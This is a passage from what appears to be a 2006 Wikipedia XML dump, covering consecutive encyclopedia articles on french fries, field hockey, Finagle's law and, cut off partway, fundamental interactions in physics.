Some feel that the word &quot;french&quot; in &quot;french fries&quot; refers to the verb &quot;to french&quot;, which means &quot;to cut in thin lengthwise strips before cooking&quot; (Merriam-Webster's Collegiate Dictionary, Tenth Ed.) On the other hand, &quot;to french&quot; is defined as &quot;to prepare, as a chop, by partially cutting the meat from the shank and leaving bare the bone so as to fit it for convenient handling&quot; (Oxford English Dictionary) in other dictionaries, seeming to suggest that the meaning of this process is not necessarily as set as it may appear. In addition, the verb &quot;to french&quot; did not start appearing until after &quot;french fried potatoes&quot; had appeared in the English-speaking world.

In any case, the first ''f'' in ''french fries'' is generally written in lower case, because it does not refer directly to nationality.

Other accounts say that they were once called 'German fries' but the name was changed either for political reasons ([[Germany]] was the enemy of the United States and Allied forces during [[WWI]] and [[World War II|WWII]]) or for simple historical reasons (a traditional theory poses that it was in France during [[World War I]] that American soldiers first encountered the dish). This seems unlikely, as Germany was not as famous for its &quot;french fries&quot; as other European countries, in addition to the fact that German immigrants did not seem to bring the dish over to the United States.

The [[Belgians]] are noted for claiming that french fries are Belgian in origin, but have presented no absolute evidence; the French have also been cited as possible creators of the dish, though most in France associated fries with Belgium. The Spanish claim that the dish was invented in Spain, the first European country in which the potato appeared via the [[New World]] colonies, and then spread to Belgium which was then under Spanish rule. However as Belgian immigrants lived in Spain at the time, it may have well been a 'Spanish' dish invented by a Belgian chef.  Whether or not french fries were invented in Belgium or Spain, they have become the national dish, and they ([[Belgium]]) are the &quot;symbolic&quot; creators, at least for the rest of Europe. French fries have gained international prominence perhaps partly due to their pre-eminence in  [[fast food|fast-food]] menus, propagated by fast-food chains like [[McDonald's]] and [[Burger King]] (Hungry Jacks in [[Australia]]).  This came about through the introduction of the frozen french fry invented by the [[J.R. Simplot Company]] in the early 1950's.  Prior to the legendary handshake deal between Ray Kroc of McDonald's and Jack Simplot of the J.R. Simplot Company, fries were hand cut and peeled in the back of McDonald's stores, but the advent of the frozen product dovetailed with Kroc's need for quick prep products and expansion of his new franchise across America.  In America, french fries are typically served with [[hamburger]]s, a latter-day descendant of the French &quot;steak-frites&quot; combination. They are also often eaten with meat, fish, and vegetables or by themselves.  They also make up half of the classic food combinations ''[[fish and chips]]'' and &quot;moules-frites&quot;, a popular Belgian dish consisting of steamed [[mussel]]s and french fries.

Another claim is that the inclusion of the word &quot;French&quot; in the fried potatoes is most likely a confusion as to the nationality of those who introduced the food to American and Canadian soldiers in [[World War I]]. When American and Canadian soldiers were stationed in southern Belgium, where many major battles of World War I took place, they were served &quot;pommes frites&quot;. Since the region of Belgium the soldiers were in was predominantly French-speaking, the soldiers brought the dish back to North America incorrectly as &quot;french fries&quot;.

==History==
Many possible claims as to the origin of &quot;french fries&quot; exist.

Many attribute the dish to [[France]], and offer as evidence a notation by U.S. President [[Thomas Jefferson]]. &quot;Potatoes deep-fried while raw, in small slices&quot; are noted in a manuscript in Thomas Jefferson's hand (circa 1801) and the recipe almost certainly comes from his French chef, Honoré Julien. In addition, from 1813 (&quot;The French Cook&quot; by Louis Ude) on recipes for what can be described as &quot;french fries&quot; occur in popular American cookbooks. Recipes for fried potatoes in French cookbooks date back at least to Menon's &quot;Les soupers de la cour&quot; (1755). However, according to the Food Reference Web site, the first reference to ''French fried potatoes'' in English was in [[1894]] in [[O. Henry]]'s ''Rolling Stones'', &quot;Our countries are great friends. We have given you [[Marquis de la Fayette|Lafayette]] and French fried potatoes.&quot; 

However, when the controversy over [[Freedom Fries]] first began, the French embassy claimed that the food was actually [[Belgian]]. Belgium itself also lays claim as the &quot;origin&quot; of French Fries.  [[Jo Gerard]], a famous Belgian historian, claims to have proof that this recipe for potatoes was already used in 1680, in the area of the Meuse valley, between Dinant and Liège, Belgium. The poor inhabitants of this region had the custom of accompanying their meals with small fried fish, but when the river was frozen and they were unable to fish, they cut potatoes lengthwise and fried them in oil to accompany their meals. (Belgian Federal Portal) In 1861, a Belgian entrepreneur named Frits is said to have opened a stand selling this product. He is also said to have given it its own name, frites, which is the French name for the dish in Belgium.  Even up to today every village in Belgium has several of these fries (friterie) stands selling  fries as the main dish and, in case something extra is desired, a varied choice of fried meat products to go with it.

The Spanish claim for originating french fries claims the first appearance of the recipe to have been in [[Galicia (Spain)|Galicia]], where it was used as an accompaniment for fish dishes, and from which it spread to the rest of the country and then to Belgium.

==Variants==

French fries have numerous variants, from &quot;thick-cut&quot; to &quot;shoestring&quot;, &quot;curly&quot;, and &quot;waffle-cut&quot;. They can also be coated with [[breading]] and [[spice]]s to create &quot;seasoned fries&quot;, or cut thickly (often with the skin left on) to create &quot;steak fries&quot;.  Sometimes fries are cooked in the oven as a final step in the preparation (having been coated with oil during preparation at the factory): these are often sold frozen, and are called &quot;oven fries.&quot;

In Australia, Britain, Ireland, and many other countries, the term ''french fries'' is only used by fast-food restaurants serving narrow-cut (shoestring) fries prepared in the American style. Traditional ''chips'' in these countries are usually cut much thicker and cooked for a shorter period of time than American-style french fries, making them less crunchy on the outside and fluffier on the inside. This results in a relatively healthier dish as the area saturated with oil is much less. Chips form one half of the popular British takeaway dish [[fish and chips]]. In another example of two nations being divided by their common language, [[potato chips]] are called ''crisps'' in [[British English]].

According to American culinary celebrity [[Alton Brown]], Belgian ''pommes frites'' are usually fried in [[horse]] fat. However, he is mistaken, as traditionally, [[ox]] fat was used, although now nut oil is usually preferred for health reasons. [[Belgian fries]] must be fried twice, and are thicker than french fries, but thinner than British chips. ''Fries with [[Mayonnaise]]'' is actually the national dish of Belgium and Belgians are very fussy about how their fries are served. Even the smallest Belgian town has its own &quot;'''frietkot'''&quot; (a Flemish word literally meaning &quot;fries shack&quot; which has also been adopted by the French speaking part of the country in addition to the French &quot;'''friterie'''&quot;; an alternate Flemish form is '''frituur''' ), the Belgian equivalent of the British &quot;fish and chips&quot;, only that its main dish is fries with mayonnaise. Belgians actually have their &quot;Frieten met [[Mayonnaise]] / Frites avec [[Mayonnaise]]&quot; as a main dish, without any side orders.

'''Boardwalk fries''', are brine soaked fresh-cut [[potatoes]], that are quickly deep-fried in 100% [[peanut oil]], served in paper buckets, sprinkled lightly with [[salt]] and malt [[vinegar]].  You will never find [[ketchup]] available at any authentic fry stands.  Perhaps one of the most famous vendors of boardwalk fries is Trashers' French Fries of [[Ocean City, Maryland]], founded in 1929 by J.T. Trasher.  The term &quot;Boardwalk Fries&quot; was registered as a trademark by a [[franchising]] company in 1982.  The company was formed in 1980, after the founders visited Ocean City (and presumably Trashers).

In [[Australia]], [[New Zealand]] and [[South Africa]], the word ''chips'' is used for both forms of fried potato; although the phrase ''hot chips'' unambiguously refers to ''french fries'' or ''chips''.

==Cooking==

[[Image:fries_cooking.jpg|thumb|212px|French fries cooking in the Joël Robuchon method]]

[[Image:fries_draining.jpg|thumb|right|212px|French fries draining after cooking]]

Most home cooks who prepare french fries from potatoes that they have cut themselves cook them a single time in a generous amount of oil pre-heated to a temperature around 375 °F (190 °C) until they are golden and slightly crisp.  Many restaurants, especially those reputed to have excellent french fries, cook them in two batches: the first at a temperature that varies from chef to chef but that is generally around 350 °F (177 °C), until the fries are nearly cooked but still limp and pale; the second, after the first batch has been removed from the oil and allowed to cool, at a higher temperature, generally around 375 °F (190 °C), until they are golden and crisp, which normally takes less than a minute.  A third method, invented by the celebrated French chef [[Joël Robuchon]] for the home cook, is to put the sliced potatoes into a saucepan with just enough cold oil in it to cover the potatoes, then cook them over high heat until golden, stirring occasionally. Frozen french fries are widely available in supermarkets; it is not unheard of for them to be baked instead of fried.

The Belgian way of cooking frites is generally in two stages. First fries are 'pre-fried' ('voorgebakken' in Dutch) for about 6 or 7 minutes in oil preheated to about 130 degrees Celsius (to get out most of the moisture), then they are generally taken out, tossed (to avoid clumping), and allowed to cool down. This intermediate product can be frozen for &quot;instant&quot; deep-frying later, or several batches of &quot;pre-fried&quot; fries prepared (e.g., when fries stands are opened for the day, or ahead of a large company of guests to the home) for rapid frying and serving later.

The second stage involves frying in oil preheated to 180-190 degrees Celsius for about two minutes (generally the cook is guided more by the color of the product&amp;mdash;a crisp golden brown usually being preferred&amp;mdash;than by timing).

==Accompaniments==

French fries are almost always salted just after cooking.  They are then served with a variety of condiments, most notably [[ketchup]], [[tomato sauce]], [[hot sauce]], [[mayonnaise]], [[tartar sauce]], [[fry sauce]], [[brown sauce]], [[vinegar]] (especially malt vinegar) or [[gravy]]. In the [[Netherlands]], (where fries are sold in ''snackbars''), [[peanut]] sauce is also popular (also called [[satay]] sauce, after the Malayan meat ''sate'' on which the same sauce is used). The Dutch also use the word [[mayonnaise]] to refer to ''frietsaus'' (fries-sauce) a thicker, less acidic sauce made specially to accompany french fries. Another interesting combination is ''Patatje Oorlog'' (Dutch for: ''French Fries War''), which is french fries with a variety of sauces; a variety that differs from region to region, and even from one snackbar to another. While it sometimes means mayonnaise (or rather, ''frietsaus''), peanut sauce and chopped raw onions, in other places it means the fries are accompanied with all condiments available. Dutch snackbars typically offer at least 8 condiments or combinations of them (the condiments are never free in the Netherlands), but some serve up to 40 different styles.The Dutch eat their fries mostly with the famous Dutch snacks called [[kroket]] and [[frikadel]]. 
In [[Britain]], particularly the North of [[England]], [[curry]] sauce is available from chip shops. In [[Australia]], [[chicken salt]] is widely used in preference to plain salt.

A restaurant chain called Gordon Biersch serves garlic fries at their brewery restaurants and at Dodger Stadium.

An alternate dipping sauce for French fries is Ranch salad dressing.

In [[Utah]], [[USA]], and the surrounding area, french fries are often served with [[fry sauce]], a mixture of spices, mayonnaise, and ketchup. In [[Quebec]] and [[New Brunswick]], both in [[Canada]], french fries are the main component of a dish called ''[[poutine]]'': a mixture of french fries with fresh [[cheese]] [[curd]]s, covered with hot [[gravy]]. A simillar variant, [[Disco fries]] is found in several [[new england]] cities. In Western [[Canada]], fries are often served &quot;all-dressed&quot;, with grated Parmesan cheese, ketchup, gravy, vinegar, salt, and pepper. In Newfoundland, Canada 'Newfie Fries' are comprised of french fries topped with turkey stuffing, peas, cheese and gravy. In the United States, fries are sometimes coated with melted cheese, called ''cheese fries''.  Often this is in combination with [[chili con carne|chili]]. Variations of cheese fries include fries covered with melted cheese, usually [[Cheez Whiz]], [[mozzarella]], [[Swiss cheese]], or [[garlic]] and cheese fries (cheese with garlic mayonnaise). In the [[Philippines]] they are often served with a sprinkling of cheese powder.

==Health aspects==

French fries may contain a large amount of [[fat]] (usually [[saturated fat|saturated]]) from frying and from some condiments or topping and may be bad for the [[health]] of those who consume them regularly. Some researchers have also suggested that the high temperatures used for frying such dishes may have results harmful to health (see [[acrylamide]]s). In the United States about 1/4 of [[vegetable]]s consumed are prepared as french fries and are believed to contribute to an epidemic of [[obesity]]. &lt;!--Page 4,5, ''Food Fight'', ISBN 0071402500--&gt; Frying french fries in [[beef tallow]], the traditional but recently discarded McDonald's recipe, adds saturated fat to the diet. Replacing tallow with tropical oils such as [[palm oil]] simply substitutes one saturated fat for another. Replacing tallow with partially hydrogenated oil reduces [[cholesterol]] but adds [[trans fat]]. [http://www.findarticles.com/p/articles/mi_m0813/is_n7_v23/ai_18650428]

==United States political controversy==

On [[March 11]], [[2003]], the cafeteria menus in the three [[United States House of Representatives]] office buildings changed the name of ''french fries'' to ''[[freedom fries]]'' in a symbolic culinary rebuke of France stemming from anger over that country's opposition to the United States government's position on Iraq. (''[[French toast]]'' was also changed to ''freedom toast''.) In response, the French embassy noted that french fries are Belgian. &quot;We are at a very serious moment dealing with very serious issues and we are not focusing on the name you give to potatoes,&quot; said Nathalie Loisau, an embassy spokeswoman.

Even though the name change started with private restaurants across the country and was later picked up by the House of Representatives, many French people considered the quick and highly visible reporting of the name change needlessly spiteful, and a media-driven attempt to direct Americans' attention away from the serious reasons for French opposition. See [[media manipulation]] and [[anti-French sentiment in the United States]].

In June [[2004]], the [[United States Department of Agriculture]], with the advisement of a federal district judge from [[Beaumont, Texas]], classified batter-coated french fries as a [[vegetable]] under the [[Perishable Agricultural Commodities Act]]. Although this move was mostly for trade reasons (french fries do not meet the standard to be listed as a &quot;[[processed food]]&quot;), this received significant media attention partially due to the documentary ''[[Super Size Me]]''.

==Chips in court==

In 1994, the well-known owner of [[Stringfellows]] nightclub in [[London]], [[Peter Stringfellow]], took exception to [[McCain Foods Limited|McCain Foods]]' use of the name &quot;Stringfellows&quot; for a brand of long thin french fries and took them to court. He lost the case (''Stringfellows v McCain Food (GB) Ltd (1984)'') on the basis that there was no connection in the public mind between the two uses of the name, and therefore McCain's product would not have caused the nightclub to lose any sales [http://www.akme.btinternet.co.uk/solomn05.html] [http://www.legalpractitioner.co.uk/ip1.pdf].

==See also==

* [[Freedom fries]]

==External links==
{{cookbookpar|French Fries}}
* [http://www.belgianfries.com The ''Belgian fries'' website.]
* [http://www.straightdope.com/mailbag/mfrenchfry.html Straight Dope Staff Report: What's the origin of French fries?]

[[Category:Belgian cuisine]]
[[Category:Fast food]]
[[Category:Potato dishes]]
[[Category:British cuisine]]
[[Category:American cuisine]]
[[de:Pommes frites]]
[[fr:Frite]]
[[id:Kentang goreng]]
[[it:Patatine fritte]]
[[he:צ'יפס]]
[[nl:Patates frites]]
[[ja:フライドポテト]]
[[no:Pommes frites]]
[[pl:Frytki]]
[[sv:Pommes frites]]</text>
    </revision>
  </page>
  <page>
    <title>Field hockey</title>
    <id>10886</id>
    <revision>
      <id>41967580</id>
      <timestamp>2006-03-02T23:04:30Z</timestamp>
      <contributor>
        <username>Icairns</username>
        <id>64875</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.33.222.178|65.33.222.178]] ([[User talk:65.33.222.178|talk]]) to last version by Lvr</comment>
      <text xml:space="preserve">[[Image:field hockey 1 550px.jpg|thumb|right|275px|A game of field hockey in progress]]

'''Field hockey''' is a popular sport for [[men]] and [[women]] in many countries around the world. In most countries, especially those in which [[ice hockey]] is not very prominent, it is simply known as '''hockey'''. Field Hockey is the second most played sport worldwide after football/Soccer

Field hockey has several regular and prestigious international tournaments for both men and women such as the [[Summer Olympics|Olympic Games]], the quadrennial [[World Hockey Cup]]s, the annual [[Champions Trophy (field hockey)|Champions Trophies]], and World Cups for juniors.

[[India]]n and [[Pakistan]]i national teams have traditionally dominated men's hockey, but have  become less prominent recently, with [[The Netherlands]], [[Germany]] and [[Australia]] gaining importance in the late 1980s. Other strong hockey playing nations include [[Spain]], [[Argentina]] and [[South Korea]] while [[Pakistan]] won the 1994 world cup. The Netherlands was the predominant international women's team before hockey was added to Olympic events. In the early 1990s Australia emerged as the strongest women's country, though retirement of a number of key players has weakened the team. Other important women teams are [[China]], [[Korea]], [[Argentina]] and [[Germany]].

Many countries have extensive club competitions for both junior and senior players. Despite the large numbers of participants, club hockey is not a particularly large spectator sport and few players can afford to play professionally. 

In the [[United States]] and [[Canada]] field hockey is widely regarded as a women's sport, but there are some men's leagues as well.

In those countries where winter conditions prevent play on outdoor fields, field hockey is played indoors during the off-season. This indoor variant, known as [[indoor field hockey]] differs from its outdoor parent in a number of respects. For example, the players may not raise the ball outside the shooting circle, nor hit it.

==History==
{{Main|Field hockey history}}
Hockey is the oldest known stick-and-ball game (apart from Irish [[hurling]], which dates back to pre-historic times). Historical records show that games resembling modern field hockey were played in various ancient civilizations, although it is not possible to know exactly when and where the game began. There are 4,000 year old drawings in Egypt of the game being played. While ''modern hockey'' appeared in the mid-18th century in [[England]], primarily in schools, it was not until the first half of the 19th century that hockey became firmly established, the first club being created in [[1849]] at [[Blackheath, London|Blackheath]] in south-east [[London]]. 

[[Image:Girlsfieldhockey.jpg|thumb|left|275px|Women's field hockey, played on grass.  Universal until the 1970's, this is now quite rare for competitive hockey in many countries]]

In the early [[1970s]], [[artificial turf]] fields began to be used in competition. The introduction of synthetic pitches instead of grass ones has completely changed most aspects of hockey. The game, as well as the material used to play, has taken a definitive turn, gaining mainly in speed. In order to take into account the specificities of this surface, new tactics and new techniques have been developed, often followed by the establishment of new rules to take account of these techniques. The switch to synthetic surfaces essentially ended Indian and Pakistani domination of the sport, because artificial turf was far more expensive than grass; too expensive for the two countries to implement widely in comparison to the wealthier European countries.

==The field of play==
[[Image:hockey_field_large.png|thumb|250px|right|Diagram of a hockey field]]

Most hockey field dimensions were originally fixed using whole numbers of imperial measures and are expressed as such in this article. It is, nevertheless, the metric measurements shown in parenthesis which are the current official dimensions of the field of play as laid down by the [[International Hockey Federation]] (FIH) in the &quot;Rules of Hockey 2005&quot;.

The game is played between two teams of eleven players on a 91.4 m times 55 m rectangular field. At each end there is a goal 2.14 m high and 12 3.66 m wide, and a semi-circle 14.63 m from the goal known as the &quot;arc&quot;, or &quot;shooting circle&quot;, with a dotted line 5 m from the semi-circle, as well as lines across the field 22.9 m from each end-line and in the center of the field.  A spot, called the penalty spot, is placed 6.4 m from the center of each goal.

==Rules and play ==

Players are permitted to play the ball with any part of the stick other than the rounded side (back). The flat side is always on the &quot;natural&quot; side for a right-handed person &amp;mdash; there are no &quot;left-handed&quot; hockey sticks. If the ball is raised off the ground in a manner that is in the umpires opinion dangerous, the ball is turned over to the other team and they receive a free hit from the point of contact. The definition of a &quot;dangerous ball&quot; is a matter of interpretation by the umpires, but it depends on the speed of the ball, the height at which it is raised, and the number of players near its path. Balls travelling at head height near players are almost always regarded as dangerous, whereas a flick at knee height landing into space would very rarely be so. When shooting at goal any height is permitted as it is a shot on goal; as long as it is not dangerous to a player within 3 yards (about 3 metres) of the striker.

One player from each team is designated the &quot;[[goalkeeper]]&quot;. The Goalkeeper is permitted to deflect or stop the ball with any part of his or her body or stick (the same stick rules apply to goalies as to outfield players) whilst within their defensive circle (the arc or &quot;D&quot;). They are also allowed to propel the ball away using their kickers or their leg guards whilst within their defensive circle, but a ball propelled with the hand is considered a foul.  The Goalkeeper may also act as a field player outside of the &quot;D&quot; but is only allowed to take part in play within the half of the field their team is defending.

If a player commits one of the many fouls (kicking the ball, obstruction, lifting in a dangerous area, back side of the stick, etc.) inside their defensive shooting circle, or commits a deliberate or particularly serious foul outside the circle but within their defensive quarter of the field, then a complicated and indirect penalty shot is taken, called a &quot;[[penalty corner (field hockey)|penalty corner]]&quot;. A deliberate breach by defenders within the circle, or a rule breach that directly prevents a goal being scored, results in the award of a &quot;penalty stroke&quot;, approximately equivalent to a [[penalty kick (football)|penalty kick]] in [[football (soccer)]].

The match is officiated by two [[umpire (field hockey)|umpires]].  Traditionally each umpire generally controls half of the field, divided roughly diagonally, although now experiments are being made where either umpire can make any decision anywhere on the field.

The teams' object is to play the ball into their &quot;shooting circle&quot; and, from there, hit, push or flick the ball into the goal. The team with more goals after two 35-minute halves wins the game. If there is a draw in international tournaments the match can go to extra time and then to a penalty stroke competition.

==Equipment==

Each player carries a &quot;stick&quot;, normally a little over 3 feet (90 centimetres) long and traditionally made of wood but now often made with [[fibreglass]], [[kevlar]] and [[carbon fibre]] [[composite material|composites]], with a rounded handle flattening out on one side and with a hook at the bottom. New rules (2006) limit the curve of the stick so as to limit the power with which the ball can be flicked. The stick is only allowed to have a bow smaller than 25mm otherwise this is deemed to be illegal. The flat side of the hook is used to push, dribble, or hit a hard plastic ball. This ball is often covered with dimples to reduce [[Hydroplaning (road vehicle)|hydroplaning]] that can cause an inconsistent ball speed on wet surfaces. Each field player normally wears a mouth guard and shin guards. Although the only equipment required for Goalkeepers is a helmet and a stick, invariably they wear extensive protective equipment including chest guards, padded shorts, heavily padded hand protectors, leg guards, and foot guards (called &quot;kickers&quot;). [[Image:Keep.jpg|thumb|right|A Goalkeeper in full outfit.]]
[[Image:Fieldhockeygirl1.jpg|thumb|right|A women's field hockey outfit]]

==Tactics==

The main methods by which the ball is moved around the field by players are: the &quot;dribble&quot;, where the player controls the ball with the stick and runs with the ball, pushing the ball along as they run; The &quot;push&quot;, where the player uses their wrists to push at the ball; the &quot;flick&quot; or &quot;scoop&quot;, similar to the push but with an additional wrist action to force the stick through at an angle and lift the ball off the ground; and the &quot;hit&quot;, where a backlift is taken and contact with the ball is made quite forcefully. In order to produce a much stronger hit, usually for travel over long distances, the stick is raised higher and swung at the ball, known as a &quot;drive&quot;.
Tackles are made by placing the stick into the path of the ball. To increase the effectiveness of the tackle, players will often place the entire stick close to the ground horizontally, thus representing a wider barrier. To avoid the tackle, the ball carrier will either pass the ball to a teammate using any of the push, flick, or hit, or attempt to maneuver or &quot;pull&quot; the ball around the tackle, trying to deceive the tackler.  

When passing and maneuvering between players, certain commands are used to ensure understanding of movements and plays among teammates. Although these vary depending on which country the game is in, there are a few standard calls. By calling &quot;through&quot; or &quot;straight&quot; the ball is passed straight ahead to another player. &quot;Flat&quot; or &quot;square&quot; signifies a pass made to the right or left of the player with the ball at a 90 degree angle. Passes made backward are ocassionally signified by a call of &quot;drop&quot;. A hit made forward at an angle is recognized as &quot;up&quot;.

In recent years, the [[penalty corner (field hockey)|penalty corner]] has gained importance as a vital part of the game as a goal scoring opportunity. Particularly with the advent and popularisation of the [[drag flick (field hockey)|drag flick]], PC's are highly saught after awards. Some tactics or set plays used involve the aforementioned drag flick, the straight hit, [[deflections (field hockey)|deflections]] towards goal, and various, more complex plays, using passes before shots at goal. 

At the highest level, hockey is a fast-moving, highly skilled sport, with players using fast moves with the stick, quick accurate passing, and hard hits, in attempts to keep possession and move the ball towards the goal. While physically tackling and otherwise obstructing players is not permitted, collisions are common, and the speed at which the ball travels along the ground (and sometimes through the air, which is legal if it is not judged dangerous by the [[umpire]]) requires the use of padded shin guards to prevent injury. Some of the tactics used resemble football (soccer), but with greater speed - the best players maneuver and score almost quicker than the eye can see.

==Major Tournaments==

The biggest two field hockey tournaments are undoubtedly the [[Hockey at the Summer Olympics|Olympic Games]] tournament, and the [[World Hockey Cup|Hockey World Cup]], which is also held every 4 years. Apart from this, there is the [[Champions Trophy (field hockey)|Champions Trophy]] Cup held each year for the six top-ranked teams. Amongst the men, India has won 8 Olympic golds and Pakistan have lifted the World Cup 4 times. Amongst the women, Australia has 3 Olympic golds while Netherlands has clinched the World Cup 5 times.

==External links==

*[http://www.fihockey.org The FIH] - the game's international governing body
*[http://www.fihockey.org/vsite/vfile/page/fileurl/0,11040,1181-170505-187723-97418-0-file,00.pdf FIH Rules of Hockey 2006] (pdf file)
*[http://www.planetfieldhockey.com/ Planet Field hockey] - Field hockey resource on the web (rules, news,forums...)

{{Team_Sport}}
[[category:team sports]]
[[Category:Olympic sports]]
[[Category:Hockey]]
[[Category:Field hockey|*]]
[[Category:Ball games]]

[[bn:হকি]]
[[ca:Hoquei sobre herba]]
[[de:Feldhockey]]
[[et:Maahoki]]
[[eo:Hokeo]]
[[eu:Belar hockey]]
[[fr:Hockey sur gazon]]
[[ko:필드하키]]
[[hi:फील्ड हाकी]]
[[it:Hockey su prato]]
[[nl:Hockey]]
[[ja:ホッケー]]
[[pt:Hóquei em campo]]
[[ru:Хоккей]]
[[sr:Хокеј на трави]]
[[fi:Maahockey]]
[[sv:Landhockey]]
[[zh:曲棍球]]</text>
    </revision>
  </page>
  <page>
    <title>Finagle's law</title>
    <id>10887</id>
    <revision>
      <id>36512577</id>
      <timestamp>2006-01-24T16:18:10Z</timestamp>
      <contributor>
        <username>Laurascudder</username>
        <id>93622</id>
      </contributor>
      <comment>moving see also to the section</comment>
      <text xml:space="preserve">'''Finagle's Law of Dynamic Negatives''' is usually rendered:
:''Anything that can go wrong, will.''
One variant (known as O'Toole's Corollary of Finagle's Law) favored among [[hacker]]s is
:''The perversity of the Universe tends towards a maximum.''

The term &quot;Finagle's Law&quot; was first used by [[John W. Campbell, Jr.]], the influential editor of ''[[Astounding Science Fiction]]'' (later ''Analog''). He used it frequently in his editorials for many years in the 1940s to 1960s but it never came into general usage the way [[Murphy's Law]] has.

Eventually the term &quot;Finagle's law&quot; was popularized by [[science fiction]] author [[Larry Niven]] in several stories depicting a frontier culture of asteroid miners; this &quot;Belter&quot; culture professed a religion and/or [[Running gag|running joke]] involving the worship of the dread god Finagle and his mad prophet Murphy.

[[Hanlon's Razor]] (or Hanlon's Law) is a [[corollary]] of Finagle's law.  Hanlon's Razor says &quot;Never attribute to [[malice]] that which can be adequately explained by [[stupidity]].&quot;

== See also ==
*[[Hanlon's Razor]]
*[[Sturgeon's law]]
*[[Murphy's law]]
*[[Second law of thermodynamics]]
*[[Adages named after people]]

[[Category:Adages]]
[[Category:Eponymous laws]]</text>
    </revision>
  </page>
  <page>
    <title>Finagles law</title>
    <id>10888</id>
    <revision>
      <id>15908678</id>
      <timestamp>2002-05-23T06:42:44Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <comment>redirect ==&amp;gt; REDIRECT</comment>
      <text xml:space="preserve">#REDIRECT [[Finagle's law]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental interaction</title>
    <id>10890</id>
    <revision>
      <id>41342937</id>
      <timestamp>2006-02-26T18:52:33Z</timestamp>
      <contributor>
        <username>Xerxes314</username>
        <id>43566</id>
      </contributor>
      <comment>&quot;force&quot; to &quot;interaction&quot;</comment>
      <text xml:space="preserve">A '''fundamental interaction''' is a mechanism by which particles interact with each other, and which cannot be explained by another more fundamental interaction.  ''Every'' observed [[physics|physical]] phenomenon, from [[galaxy|galaxies]] colliding with each other to [[quark]]s jiggling around inside a [[proton]], can thus be explained by these interactions. Because of their fundamental importance, understanding of these interactions has occupied the attention of [[physicist]]s for over half a century and continues to do so. 

Traditionally, modern [[physicist]]s have counted four interactions: [[gravity]], [[electromagnetism]], the [[weak interaction]], and the [[strong interaction]]. Their magnitude and behavior vary greatly, as can be seen in the table below.  Yet, it is strongly believed that three of these interactions are manifestations of a single, more fundamental, interaction, just as electricity and magnetism are now understood as two aspects of the electromagnetic interaction. Electromagnetism and the weak nuclear forces have been shown to be two aspects of a single [[electroweak interaction]]. Somewhat more speculatively, the electroweak force and the strong nuclear interaction have been combined using [[grand unified theory|grand unified theories]]. How to combine the fourth interaction, gravity, with the other three is still a topic of research into [[quantum gravity]].


{| align=&quot;center&quot; style=&quot;margin-left: 1em;&quot; border=&quot;1&quot;
|-
! Theory !! Interaction !! mediator !! Relative Magnitude !! Behavior !! Range
|-
| [[Chromodynamics]] || [[Strong interaction]] || [[gluon]] || 10&lt;sup&gt;38&lt;/sup&gt; || 1/''r''&lt;sup&gt;7&lt;/sup&gt; || 1.4 x 10&lt;sup&gt;-15&lt;/sup&gt; m
|-
| [[Electrodynamics]] || [[Electromagnetic interaction]] || [[photon]] || 10&lt;sup&gt;36&lt;/sup&gt; || 1/''r''&lt;sup&gt;2&lt;/sup&gt; || infinite
|-
| [[Flavordynamics]] || [[Weak interaction]] || [[W and Z bosons]] || 10&lt;sup&gt;25&lt;/sup&gt; || 1/''r''&lt;sup&gt;5&lt;/sup&gt; to 1/''r''&lt;sup&gt;7&lt;/sup&gt; || 10&lt;sup&gt;-18&lt;/sup&gt; m
|-
| [[Geometrodynamics]] || [[Gravity]] || [[graviton]] || 10&lt;sup&gt;0&lt;/sup&gt; || 1/''r''&lt;sup&gt;2&lt;/sup&gt; || infinite
|}


These interactions are sometimes called '''fundamental forces''', although many find this terminology misleading because they cannot be described by classical [[potential]]s and [[force]]s in the [[Newton's laws of motion|Newtonian sense]]. For example, no gravitational force is acting at a distance to cause a body to accelerate. Instead, [[general relativity]] explains gravity by the curvatures of [[spacetime]] (composed of the [[gravitational time dilation]] and the [[curvature of space]]). In addition, the weak interaction need not even result in the same outgoing particles as those that entered the interaction.

The modern quantum mechanical view of the three fundamental forces (all except gravity) is that particles of matter ([[fermions]]) do not directly interact with each other but rather exchange by [[virtual particles]] ([[bosons]]) called interaction carriers or interaction mediators (as, for example, virtual [[photons]] in case of interaction of [[electric charges]]). This coupling of matter ([[fermions]]) with force mediating particles ([[bosons]]) is believed to be the result of some fundamental symmetries of nature.

==The interactions==

===Gravity===
:''Main article: [[Gravity]]''

''Gravity'' is by far the weakest interaction, but it is the interaction that has the largest range. The term ''long range'' refers technically to the falling off of the interaction with distance ''r'' at a rate equal to 1/''r''&lt;sup&gt;2&lt;/sup&gt;. Unlike the other interactions, gravity works universally on all matter and energy. Because of its long range, and property of depending ''only'' on the mass of objects and independent of their charge etc., most interactions between objects separated by length scales larger than that of a planet, for example, are predominantly due to gravity.

Because of its long range, gravity is responsible for such large-scale phenomena as the structure of galaxies, [[black hole]]s and the  [[Universe#Expansion_and_age.2C_and_the_Big_Bang_theory|expansion of the universe]], as well as more elementary astronomical phenomena like the [[orbit]]s of [[planet]]s, and everyday experience: objects fall; heavy objects act as if they were glued to the ground; people are unable to jump very high.

Gravitation was the first kind of interaction which was described by a mathematical theory. In ancient times, [[Aristotle]] theorized that objects of different masses fall at different rates. During the [[Scientific Revolution]], [[Galileo Galilei]] experimentally determined that this was not the case - if friction due to air resistance is neglected, all objects accelerate toward the ground at the same rate.  [[Isaac Newton]]'s [[law of Universal Gravitation]] ([[1687]]) was a good approximation of the general behaviour of gravity. In [[1915]], [[Albert Einstein]] completed the [[General Theory of Relativity]], a more accurate description of gravity in terms of the [[geometry]] of [[space-time]].

An area of active research today involves merging the theories of general relativity and [[quantum mechanics]] into a more general theory of [[quantum gravity]].  It is widely believed that in a theory of quantum gravity, gravity would be mediated by a particle which is known as the [[graviton]]. Gravitons are hypothetical particles not yet observed.

Although general relativity appears to present an accurate theory of gravity in the non-quantum mechanical limit, there are a number of alternate theories of gravity.  Those under any serious consideration by the physics community all reduce to general relativity in some limit, and the focus of observational work is to establish limitations on what deviations from general relativity are possible.

===Electromagnetism===
:''Main article: [[Electromagnetism]]''

''Electromagnetism'' is the force that acts between electrically [[electric charge|charge]]d particles. This includes the [[electrostatic force]], acting between charges at rest, and the combined effect of [[electric]] and [[magnetic]] forces acting between charges moving relative to each other. 

